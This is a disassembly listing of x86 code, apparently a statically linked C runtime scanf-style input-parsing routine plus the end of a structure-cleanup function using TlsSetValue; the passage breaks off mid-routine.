loc_42E587:				; CODE XREF: sub_42E555+29j
		mov	eax, [esi+28h]
		test	eax, eax
		jz	short loc_42E595
		push	eax
		call	sub_4298F2
		pop	ecx


loc_42E595:				; CODE XREF: sub_42E555+37j
		mov	eax, [esi+30h]
		test	eax, eax
		jz	short loc_42E5A3
		push	eax
		call	sub_4298F2
		pop	ecx


loc_42E5A3:				; CODE XREF: sub_42E555+45j
		mov	eax, [esi+38h]
		test	eax, eax
		jz	short loc_42E5B1
		push	eax
		call	sub_4298F2
		pop	ecx


loc_42E5B1:				; CODE XREF: sub_42E555+53j
		mov	eax, [esi+40h]
		test	eax, eax
		jz	short loc_42E5BF
		push	eax
		call	sub_4298F2
		pop	ecx


loc_42E5BF:				; CODE XREF: sub_42E555+61j
		mov	eax, [esi+44h]
		test	eax, eax
		jz	short loc_42E5CD
		push	eax
		call	sub_4298F2
		pop	ecx


loc_42E5CD:				; CODE XREF: sub_42E555+6Fj
		mov	eax, [esi+50h]
		cmp	eax, offset dword_453838
		jz	short loc_42E5DE
		push	eax
		call	sub_4298F2
		pop	ecx


loc_42E5DE:				; CODE XREF: sub_42E555+80j
		push	esi
		call	sub_4298F2
		pop	ecx


loc_42E5E5:				; CODE XREF: sub_42E555+22j
		push	0
		push	dword_453240
		call	dword_43722C	; TlsSetValue
		pop	esi

locret_42E5F4:				; CODE XREF: sub_42E555+8j
		retn
sub_42E555	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E5F5	proc near		; CODE XREF: sub_429E0E+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_42EFFB
		mov	edi, [ebp+arg_0]
		jmp	short loc_42E624
; ---------------------------------------------------------------------------


loc_42E61F:				; CODE XREF: sub_42E5F5+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42E624:				; CODE XREF: sub_42E5F5+28j
		cmp	dword_4535C4, 1
		jle	short loc_42E63C
		movzx	eax, al
		push	8
		push	eax
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42E64B
; ---------------------------------------------------------------------------


loc_42E63C:				; CODE XREF: sub_42E5F5+36j
		mov	ecx, off_4533B8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_42E64B:				; CODE XREF: sub_42E5F5+45j
		cmp	eax, ebx
		jz	short loc_42E685
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42F082
		pop	ecx
		pop	ecx
		push	eax
		call	sub_42F06B
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_42C54C
		add	esp, 0Ch


loc_42E673:				; CODE XREF: sub_42E5F5+8Ej
		test	eax, eax
		jz	short loc_42E685
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_42C54C
		pop	ecx
		jmp	short loc_42E673
; ---------------------------------------------------------------------------


loc_42E685:				; CODE XREF: sub_42E5F5+58j
					; sub_42E5F5+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_42EF67
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_42E6BC:				; CODE XREF: sub_42E5F5+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_4535C4, 1
		jle	short loc_42E6D9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42E6E8
; ---------------------------------------------------------------------------


loc_42E6D9:				; CODE XREF: sub_42E5F5+D3j
		mov	ecx, off_4533B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42E6E8:				; CODE XREF: sub_42E5F5+E2j
		test	eax, eax
		jz	short loc_42E6FE
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42E763
; ---------------------------------------------------------------------------


loc_42E6FE:				; CODE XREF: sub_42E5F5+F5j
		cmp	ebx, 4Eh
		jg	short loc_42E741
		jz	short loc_42E763
		cmp	ebx, 2Ah
		jz	short loc_42E73C
		cmp	ebx, 46h
		jz	short loc_42E763
		cmp	ebx, 49h
		jz	short loc_42E71E
		cmp	ebx, 4Ch
		jnz	short loc_42E750
		inc	[ebp+var_D]
		jmp	short loc_42E763
; ---------------------------------------------------------------------------


loc_42E71E:				; CODE XREF: sub_42E5F5+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42E750
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42E750
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42E763
; ---------------------------------------------------------------------------


loc_42E73C:				; CODE XREF: sub_42E5F5+113j
		inc	[ebp+var_E]
		jmp	short loc_42E763
; ---------------------------------------------------------------------------


loc_42E741:				; CODE XREF: sub_42E5F5+10Cj
		cmp	ebx, 68h
		jz	short loc_42E75D
		cmp	ebx, 6Ch
		jz	short loc_42E755
		cmp	ebx, 77h
		jz	short loc_42E758


loc_42E750:				; CODE XREF: sub_42E5F5+122j
					; sub_42E5F5+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42E763
; ---------------------------------------------------------------------------


loc_42E755:				; CODE XREF: sub_42E5F5+154j
		inc	[ebp+var_D]


loc_42E758:				; CODE XREF: sub_42E5F5+159j
		inc	[ebp+var_5]
		jmp	short loc_42E763
; ---------------------------------------------------------------------------


loc_42E75D:				; CODE XREF: sub_42E5F5+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42E763:				; CODE XREF: sub_42E5F5+107j
					; sub_42E5F5+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_42E6BC
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_42E788
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_42E788:				; CODE XREF: sub_42E5F5+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_42E7A6
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_42E7A2
		cmp	al, 43h
		jz	short loc_42E7A2
		or	[ebp+var_5], 0FFh
		jmp	short loc_42E7A6
; ---------------------------------------------------------------------------


loc_42E7A2:				; CODE XREF: sub_42E5F5+1A1j
					; sub_42E5F5+1A5j
		mov	[ebp+var_5], 1


loc_42E7A6:				; CODE XREF: sub_42E5F5+19Bj
					; sub_42E5F5+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_42E7DF
		cmp	esi, 63h
		jz	short loc_42E7D0
		cmp	esi, 7Bh
		jz	short loc_42E7D0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42F082
		pop	ecx
		jmp	short loc_42E7DB
; ---------------------------------------------------------------------------


loc_42E7D0:				; CODE XREF: sub_42E5F5+1C5j
					; sub_42E5F5+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42F051


loc_42E7DB:				; CODE XREF: sub_42E5F5+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_42E7DF:				; CODE XREF: sub_42E5F5+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42E7EF
		cmp	[ebp+var_C], eax
		jz	loc_42EFCB


loc_42E7EF:				; CODE XREF: sub_42E5F5+1EFj
		cmp	esi, 6Fh
		jg	loc_42EA56
		jz	loc_42ED08
		cmp	esi, 63h
		jz	loc_42EA33
		cmp	esi, 64h
		jz	loc_42ED08
		jle	loc_42EA80
		cmp	esi, 67h
		jle	short loc_42E853
		cmp	esi, 69h
		jz	short loc_42E83B
		cmp	esi, 6Eh
		jnz	loc_42EA80
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_42EF36
		jmp	loc_42EF5C
; ---------------------------------------------------------------------------


loc_42E83B:				; CODE XREF: sub_42E5F5+229j
		push	64h
		pop	esi


loc_42E83E:				; CODE XREF: sub_42E5F5+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_42EAC8
		mov	[ebp+var_17], 1
		jmp	loc_42EACD
; ---------------------------------------------------------------------------


loc_42E853:				; CODE XREF: sub_42E5F5+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42E86F
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42E874
; ---------------------------------------------------------------------------


loc_42E86F:				; CODE XREF: sub_42E5F5+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_42E88B


loc_42E874:				; CODE XREF: sub_42E5F5+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42F051
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42E88E
; ---------------------------------------------------------------------------


loc_42E88B:				; CODE XREF: sub_42E5F5+27Dj
		mov	edi, [ebp+arg_0]


loc_42E88E:				; CODE XREF: sub_42E5F5+294j
		cmp	[ebp+var_20], 0
		jz	short loc_42E89D
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42E8A4


loc_42E89D:				; CODE XREF: sub_42E5F5+29Dj
		mov	[ebp+var_C], 15Dh


loc_42E8A4:				; CODE XREF: sub_42E5F5+2A6j
					; sub_42E5F5+2F2j
		cmp	dword_4535C4, 1
		jle	short loc_42E8B9
		push	4
		push	ebx
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42E8C4
; ---------------------------------------------------------------------------


loc_42E8B9:				; CODE XREF: sub_42E5F5+2B6j
		mov	eax, off_4533B8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42E8C4:				; CODE XREF: sub_42E5F5+2C2j
		test	eax, eax
		jz	short loc_42E8E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42E8E9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42F051
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42E8A4
; ---------------------------------------------------------------------------


loc_42E8E9:				; CODE XREF: sub_42E5F5+2D1j
					; sub_42E5F5+2DBj
		cmp	byte_4535C8, bl
		jnz	short loc_42E957
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42E957
		inc	[ebp+var_4]
		push	edi
		call	sub_42F051
		mov	ebx, eax
		mov	al, byte_4535C8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42E912:				; CODE XREF: sub_42E5F5+360j
		cmp	dword_4535C4, 1
		jle	short loc_42E927
		push	4
		push	ebx
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42E932
; ---------------------------------------------------------------------------


loc_42E927:				; CODE XREF: sub_42E5F5+324j
		mov	eax, off_4533B8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42E932:				; CODE XREF: sub_42E5F5+330j
		test	eax, eax
		jz	short loc_42E957
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42E957
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42F051
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42E912
; ---------------------------------------------------------------------------


loc_42E957:				; CODE XREF: sub_42E5F5+2FAj
					; sub_42E5F5+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42E9EF
		cmp	ebx, 65h
		jz	short loc_42E96F
		cmp	ebx, 45h
		jnz	loc_42E9EF


loc_42E96F:				; CODE XREF: sub_42E5F5+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42E9EF
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42F051
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_42E996
		mov	[esi], al
		inc	esi
		jmp	short loc_42E99B
; ---------------------------------------------------------------------------


loc_42E996:				; CODE XREF: sub_42E5F5+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_42E9B9


loc_42E99B:				; CODE XREF: sub_42E5F5+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_42E9AA
		and	[ebp+var_C], eax
		jmp	short loc_42E9B9
; ---------------------------------------------------------------------------


loc_42E9AA:				; CODE XREF: sub_42E5F5+3AEj
					; sub_42E5F5+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42F051
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_42E9B9:				; CODE XREF: sub_42E5F5+3A4j
					; sub_42E5F5+3B3j
		cmp	dword_4535C4, 1
		jle	short loc_42E9CE
		push	4
		push	ebx
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42E9D9
; ---------------------------------------------------------------------------


loc_42E9CE:				; CODE XREF: sub_42E5F5+3CBj
		mov	eax, off_4533B8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42E9D9:				; CODE XREF: sub_42E5F5+3D7j
		test	eax, eax
		jz	short loc_42E9EF
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42E9EF
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_42E9AA
; ---------------------------------------------------------------------------


loc_42E9EF:				; CODE XREF: sub_42E5F5+366j
					; sub_42E5F5+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_42F06B
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_42EFFB
		cmp	[ebp+var_E], 0
		jnz	loc_42EF5C
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_453824
		add	esp, 0Ch
		jmp	loc_42EF5C
; ---------------------------------------------------------------------------


loc_42EA33:				; CODE XREF: sub_42E5F5+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42EA42
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42EA42:				; CODE XREF: sub_42E5F5+441j
		cmp	[ebp+var_5], 0
		jle	short loc_42EA4C
		mov	[ebp+var_16], 1


loc_42EA4C:				; CODE XREF: sub_42E5F5+451j
		mov	edi, offset dword_45324C
		jmp	loc_42EB61
; ---------------------------------------------------------------------------


loc_42EA56:				; CODE XREF: sub_42E5F5+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_42ED04
		sub	eax, 3
		jz	loc_42EB52
		dec	eax
		dec	eax
		jz	loc_42ED08
		sub	eax, 3
		jz	loc_42E83E
		sub	eax, 3
		jz	short loc_42EAA4


loc_42EA80:				; CODE XREF: sub_42E5F5+21Bj
					; sub_42E5F5+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_42EFCB
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_42EF5C
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_42EF5C
; ---------------------------------------------------------------------------


loc_42EAA4:				; CODE XREF: sub_42E5F5+489j
		cmp	[ebp+var_5], 0
		jle	short loc_42EAAE
		mov	[ebp+var_16], 1


loc_42EAAE:				; CODE XREF: sub_42E5F5+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_42EB65
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42EB61
; ---------------------------------------------------------------------------


loc_42EAC8:				; CODE XREF: sub_42E5F5+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_42EAEF


loc_42EACD:				; CODE XREF: sub_42E5F5+259j
		dec	[ebp+var_C]
		jnz	short loc_42EADE
		cmp	[ebp+var_20], 0
		jz	short loc_42EADE
		mov	[ebp+var_F], 1
		jmp	short loc_42EAEF
; ---------------------------------------------------------------------------


loc_42EADE:				; CODE XREF: sub_42E5F5+4DBj
					; sub_42E5F5+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42F051
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_42EAEF:				; CODE XREF: sub_42E5F5+4D6j
					; sub_42E5F5+4E7j
		cmp	ebx, 30h
		jnz	loc_42ED3D
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42F051
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_42EB3D
		cmp	bl, 58h
		jz	short loc_42EB3D
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_42EB27
		push	6Fh


loc_42EB21:				; CODE XREF: sub_42E5F5+55Bj
		pop	esi
		jmp	loc_42ED3D
; ---------------------------------------------------------------------------


loc_42EB27:				; CODE XREF: sub_42E5F5+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_42F06B
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_42ED3A
; ---------------------------------------------------------------------------


loc_42EB3D:				; CODE XREF: sub_42E5F5+517j
					; sub_42E5F5+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42F051
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_42EB21
; ---------------------------------------------------------------------------


loc_42EB52:				; CODE XREF: sub_42E5F5+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_42EB5C
		mov	[ebp+var_16], 1


loc_42EB5C:				; CODE XREF: sub_42E5F5+561j
		mov	edi, offset dword_453244


loc_42EB61:				; CODE XREF: sub_42E5F5+45Cj
					; sub_42E5F5+4CEj
		or	[ebp+var_18], 0FFh


loc_42EB65:				; CODE XREF: sub_42E5F5+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_429760
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_42EB89
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_42EB89
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_42EB8C
; ---------------------------------------------------------------------------


loc_42EB89:				; CODE XREF: sub_42E5F5+584j
					; sub_42E5F5+589j
		mov	dl, [ebp+var_35]


loc_42EB8C:				; CODE XREF: sub_42E5F5+592j
					; sub_42E5F5+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_42EBF1
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_42EBD8
		test	dl, dl
		jz	short loc_42EBD8
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_42EBD8
		inc	edi
		cmp	dl, cl
		jnb	short loc_42EBAB
		mov	al, cl
		jmp	short loc_42EBAF
; ---------------------------------------------------------------------------


loc_42EBAB:				; CODE XREF: sub_42E5F5+5B0j
		mov	al, dl
		mov	dl, cl


loc_42EBAF:				; CODE XREF: sub_42E5F5+5B4j
		cmp	dl, al
		ja	short loc_42EBD4
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_42EBBC:				; CODE XREF: sub_42E5F5+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_42EBBC


loc_42EBD4:				; CODE XREF: sub_42E5F5+5BCj
		xor	dl, dl
		jmp	short loc_42EB8C
; ---------------------------------------------------------------------------


loc_42EBD8:				; CODE XREF: sub_42E5F5+5A0j
					; sub_42E5F5+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_42EB8C
; ---------------------------------------------------------------------------


loc_42EBF1:				; CODE XREF: sub_42E5F5+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_42EFFB
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_42EC03
		mov	[ebp+arg_4], edi


loc_42EC03:				; CODE XREF: sub_42E5F5+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_42F06B
		pop	ecx
		pop	ecx


loc_42EC1A:				; CODE XREF: sub_42E5F5+6BCj
					; sub_42E5F5+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_42EC2E
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_42ECCA


loc_42EC2E:				; CODE XREF: sub_42E5F5+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42F051
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_42ECBE
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_42ECBE
		cmp	[ebp+var_E], 0
		jnz	short loc_42ECB6
		cmp	[ebp+var_16], 0
		jz	short loc_42ECAB
		mov	ecx, off_4533B8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42EC8A
		inc	[ebp+var_4]
		push	edi
		call	sub_42F051
		pop	ecx
		mov	[ebp+var_37], al


loc_42EC8A:				; CODE XREF: sub_42E5F5+686j
		push	dword_4535C4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_433322
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_42ECAE
; ---------------------------------------------------------------------------


loc_42ECAB:				; CODE XREF: sub_42E5F5+673j
		mov	[esi], al
		inc	esi


loc_42ECAE:				; CODE XREF: sub_42E5F5+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_42EC1A
; ---------------------------------------------------------------------------


loc_42ECB6:				; CODE XREF: sub_42E5F5+66Dj
		inc	[ebp+var_30]
		jmp	loc_42EC1A
; ---------------------------------------------------------------------------


loc_42ECBE:				; CODE XREF: sub_42E5F5+649j
					; sub_42E5F5+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_42F06B
		pop	ecx
		pop	ecx


loc_42ECCA:				; CODE XREF: sub_42E5F5+633j
		cmp	[ebp+var_30], esi
		jz	loc_42EFFB
		cmp	[ebp+var_E], 0
		jnz	loc_42EF5C
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_42EF5C
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_42ECFC
		and	word ptr [eax],	0
		jmp	loc_42EF5C
; ---------------------------------------------------------------------------


loc_42ECFC:				; CODE XREF: sub_42E5F5+6FCj
		and	byte ptr [eax],	0
		jmp	loc_42EF5C
; ---------------------------------------------------------------------------


loc_42ED04:				; CODE XREF: sub_42E5F5+466j
		mov	[ebp+var_D], 1


loc_42ED08:				; CODE XREF: sub_42E5F5+203j
					; sub_42E5F5+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_42ED16
		mov	[ebp+var_17], 1
		jmp	short loc_42ED1B
; ---------------------------------------------------------------------------


loc_42ED16:				; CODE XREF: sub_42E5F5+719j
		cmp	ebx, 2Bh
		jnz	short loc_42ED3D


loc_42ED1B:				; CODE XREF: sub_42E5F5+71Fj
		dec	[ebp+var_C]
		jnz	short loc_42ED2C
		cmp	[ebp+var_20], 0
		jz	short loc_42ED2C
		mov	[ebp+var_F], 1
		jmp	short loc_42ED3D
; ---------------------------------------------------------------------------


loc_42ED2C:				; CODE XREF: sub_42E5F5+729j
					; sub_42E5F5+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42F051
		pop	ecx
		mov	ebx, eax


loc_42ED3A:				; CODE XREF: sub_42E5F5+543j
		mov	[ebp+var_14], ebx


loc_42ED3D:				; CODE XREF: sub_42E5F5+4FDj
					; sub_42E5F5+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_42EE56
		cmp	[ebp+var_F], 0
		jnz	loc_42EE34


loc_42ED51:				; CODE XREF: sub_42E5F5+82Cj
		cmp	esi, 78h
		jnz	short loc_42EDA5
		cmp	dword_4535C4, 1
		jle	short loc_42ED6E
		push	80h
		push	ebx
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42ED7B
; ---------------------------------------------------------------------------


loc_42ED6E:				; CODE XREF: sub_42E5F5+768j
		mov	eax, off_4533B8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_42ED7B:				; CODE XREF: sub_42E5F5+777j
		test	eax, eax
		jz	loc_42EE26
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_433450
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_42F01A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42EDF8
; ---------------------------------------------------------------------------


loc_42EDA5:				; CODE XREF: sub_42E5F5+75Fj
		cmp	dword_4535C4, 1
		jle	short loc_42EDBA
		push	4
		push	ebx
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42EDC5
; ---------------------------------------------------------------------------


loc_42EDBA:				; CODE XREF: sub_42E5F5+7B7j
		mov	eax, off_4533B8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42EDC5:				; CODE XREF: sub_42E5F5+7C3j
		test	eax, eax
		jz	short loc_42EE26
		cmp	esi, 6Fh
		jnz	short loc_42EDE3
		cmp	ebx, 38h
		jge	short loc_42EE26
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_433450
		jmp	short loc_42EDF2
; ---------------------------------------------------------------------------


loc_42EDE3:				; CODE XREF: sub_42E5F5+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_42C4F0


loc_42EDF2:				; CODE XREF: sub_42E5F5+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_42EDF8:				; CODE XREF: sub_42E5F5+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_42EE10
		dec	[ebp+var_C]
		jz	short loc_42EE34


loc_42EE10:				; CODE XREF: sub_42E5F5+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42F051
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42ED51
; ---------------------------------------------------------------------------


loc_42EE26:				; CODE XREF: sub_42E5F5+788j
					; sub_42E5F5+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_42F06B
		pop	ecx
		pop	ecx


loc_42EE34:				; CODE XREF: sub_42E5F5+756j
					; sub_42E5F5+819j
		cmp	[ebp+var_17], 0
		jz	loc_42EF1A
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
